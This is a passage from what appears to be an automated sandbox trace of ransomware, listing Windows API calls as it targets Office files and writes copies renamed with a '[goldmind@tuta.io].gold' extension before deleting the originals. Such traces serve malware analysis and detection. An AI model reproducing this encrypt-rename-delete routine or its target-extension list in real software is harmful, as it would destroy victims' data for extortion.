(lpString=".dbf") returned 4 [0114.908] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.908] lstrlenW (lpString=".1cd") returned 4 [0114.908] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.908] lstrlenW (lpString=".jpg") returned 4 [0114.908] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.908] lstrlenW (lpString=".doc") returned 4 [0114.908] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.908] lstrlenW (lpString=".docx") returned 5 [0114.908] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.908] lstrlenW (lpString=".pdf") returned 4 [0114.908] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.908] lstrlenW (lpString=".xls") returned 4 [0114.908] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.908] lstrlenW (lpString=".xlsx") returned 5 [0114.908] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.908] lstrlenW (lpString=".ppt") returned 4 [0114.908] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.908] lstrlenW (lpString=".zip") returned 4 [0114.908] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.908] lstrlenW (lpString=".rar") returned 4 [0114.908] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.908] lstrlenW (lpString=".bz2") returned 4 [0114.908] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.908] lstrlenW (lpString=".7z") returned 3 [0114.908] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.908] lstrlenW (lpString=".dbf") returned 4 [0114.908] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.908] lstrlenW (lpString=".1cd") returned 4 [0114.908] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFS.ICO") returned 62 [0114.908] lstrlenW (lpString=".jpg") returned 4 [0114.908] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.908] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0114.908] lstrlenW (lpString="OOFTMPL.CFG") returned 11 [0114.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.911] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=828) returned 1 [0114.911] CloseHandle (hObject=0x3e0) returned 1 [0114.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg")) returned 0x20 [0114.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.911] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.912] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.912] GetLastError () returned 0x0 [0114.913] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x33c, lpOverlapped=0x0) returned 1 [0114.914] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x340, lpOverlapped=0x0) returned 1 [0114.915] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.915] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0114.915] SetEndOfFile (hFile=0x3ec) returned 1 [0114.915] CloseHandle (hObject=0x3ec) returned 1 [0114.915] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.915] SetEndOfFile (hFile=0x3e0) returned 1 [0114.917] CloseHandle (hObject=0x3e0) returned 1 [0114.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg")) returned 1 [0114.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.920] lstrlenW (lpString=".doc") returned 4 [0114.920] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.920] lstrlenW (lpString=".docx") returned 5 [0114.920] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0114.920] lstrlenW (lpString=".pdf") returned 4 [0114.920] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.920] lstrlenW (lpString=".xls") returned 4 [0114.920] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.920] lstrlenW (lpString=".xlsx") returned 5 [0114.920] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0114.920] lstrlenW (lpString=".ppt") returned 4 [0114.920] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.920] lstrlenW (lpString=".zip") returned 4 [0114.920] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.920] lstrlenW (lpString=".rar") returned 4 [0114.920] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.920] lstrlenW (lpString=".bz2") returned 4 [0114.920] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.920] lstrlenW (lpString=".7z") returned 3 [0114.920] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.920] lstrlenW (lpString=".dbf") returned 4 [0114.920] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.921] lstrlenW (lpString=".1cd") returned 4 [0114.921] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.921] lstrlenW (lpString=".jpg") returned 4 [0114.921] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.921] lstrlenW (lpString=".doc") returned 4 [0114.921] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.921] lstrlenW (lpString=".docx") returned 5 [0114.921] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0114.921] lstrlenW (lpString=".pdf") returned 4 [0114.921] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.921] lstrlenW (lpString=".xls") returned 4 [0114.921] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.921] lstrlenW (lpString=".xlsx") returned 5 [0114.921] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0114.921] lstrlenW (lpString=".ppt") returned 4 [0114.921] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.921] lstrlenW (lpString=".zip") returned 4 [0114.921] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.921] lstrlenW (lpString=".rar") returned 4 [0114.921] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.921] lstrlenW (lpString=".bz2") returned 4 [0114.921] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.921] lstrlenW (lpString=".7z") returned 3 [0114.921] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.921] lstrlenW (lpString=".dbf") returned 4 [0114.921] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.921] lstrlenW (lpString=".1cd") returned 4 [0114.921] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0114.921] lstrlenW (lpString=".jpg") returned 4 [0114.921] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.922] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0114.922] lstrlenW (lpString="POST.CFG") returned 8 [0114.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.923] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=777) returned 1 [0114.923] CloseHandle (hObject=0x3e0) returned 1 [0114.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg")) returned 0x20 [0114.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.923] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.923] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.924] GetLastError () returned 0x0 [0114.924] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x309, lpOverlapped=0x0) returned 1 [0115.026] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x310, lpOverlapped=0x0) returned 1 [0115.026] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.027] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0115.027] SetEndOfFile (hFile=0x3ec) returned 1 [0115.280] CloseHandle (hObject=0x3ec) returned 1 [0115.373] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.373] SetEndOfFile (hFile=0x3e0) returned 1 [0115.399] CloseHandle (hObject=0x3e0) returned 1 [0115.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\post.cfg")) returned 1 [0115.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.465] lstrlenW (lpString=".doc") returned 4 [0115.465] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.465] lstrlenW (lpString=".docx") returned 5 [0115.465] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0115.465] lstrlenW (lpString=".pdf") returned 4 [0115.465] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.465] lstrlenW (lpString=".xls") returned 4 [0115.465] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString=".xlsx") returned 5 [0115.466] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0115.466] lstrlenW (lpString=".ppt") returned 4 [0115.466] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.466] lstrlenW (lpString=".zip") returned 4 [0115.466] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString=".rar") returned 4 [0115.466] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString=".bz2") returned 4 [0115.466] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.466] lstrlenW (lpString=".7z") returned 3 [0115.466] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.466] lstrlenW (lpString=".dbf") returned 4 [0115.466] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.466] lstrlenW (lpString=".1cd") returned 4 [0115.466] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.466] lstrlenW (lpString=".jpg") returned 4 [0115.466] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.466] lstrlenW (lpString=".doc") returned 4 [0115.466] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString=".docx") returned 5 [0115.466] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0115.466] lstrlenW (lpString=".pdf") returned 4 [0115.466] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString=".xls") returned 4 [0115.466] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString=".xlsx") returned 5 [0115.466] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0115.466] lstrlenW (lpString=".ppt") returned 4 [0115.466] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.466] lstrlenW (lpString=".zip") returned 4 [0115.466] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString=".rar") returned 4 [0115.466] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString=".bz2") returned 4 [0115.466] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.466] lstrlenW (lpString=".7z") returned 3 [0115.466] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.466] lstrlenW (lpString=".dbf") returned 4 [0115.466] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.466] lstrlenW (lpString=".1cd") returned 4 [0115.466] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POST.CFG") returned 62 [0115.466] lstrlenW (lpString=".jpg") returned 4 [0115.466] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.467] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.467] lstrlenW (lpString="POSTS.ICO") returned 9 [0115.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0115.476] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2998) returned 1 [0115.476] CloseHandle (hObject=0x230) returned 1 [0115.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico")) returned 0x20 [0115.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.507] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.507] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.508] GetLastError () returned 0x0 [0115.508] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0115.512] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0115.513] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.513] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0115.513] SetEndOfFile (hFile=0x3d0) returned 1 [0115.513] CloseHandle (hObject=0x3d0) returned 1 [0115.513] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.513] SetEndOfFile (hFile=0x3b4) returned 1 [0115.515] CloseHandle (hObject=0x3b4) returned 1 [0115.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\posts.ico")) returned 1 [0115.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.516] lstrlenW (lpString=".doc") returned 4 [0115.516] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.516] lstrlenW (lpString=".docx") returned 5 [0115.516] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.516] lstrlenW (lpString=".pdf") returned 4 [0115.516] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.516] lstrlenW (lpString=".xls") returned 4 [0115.516] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.516] lstrlenW (lpString=".xlsx") returned 5 [0115.516] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.516] lstrlenW (lpString=".ppt") returned 4 [0115.516] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.516] lstrlenW (lpString=".zip") returned 4 [0115.516] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.516] lstrlenW (lpString=".rar") returned 4 [0115.516] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.516] lstrlenW (lpString=".bz2") returned 4 [0115.516] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.516] lstrlenW (lpString=".7z") returned 3 [0115.516] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.516] lstrlenW (lpString=".dbf") returned 4 [0115.516] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.516] lstrlenW (lpString=".1cd") returned 4 [0115.516] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.516] lstrlenW (lpString=".jpg") returned 4 [0115.516] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.517] lstrlenW (lpString=".doc") returned 4 [0115.517] lstrcmpiW 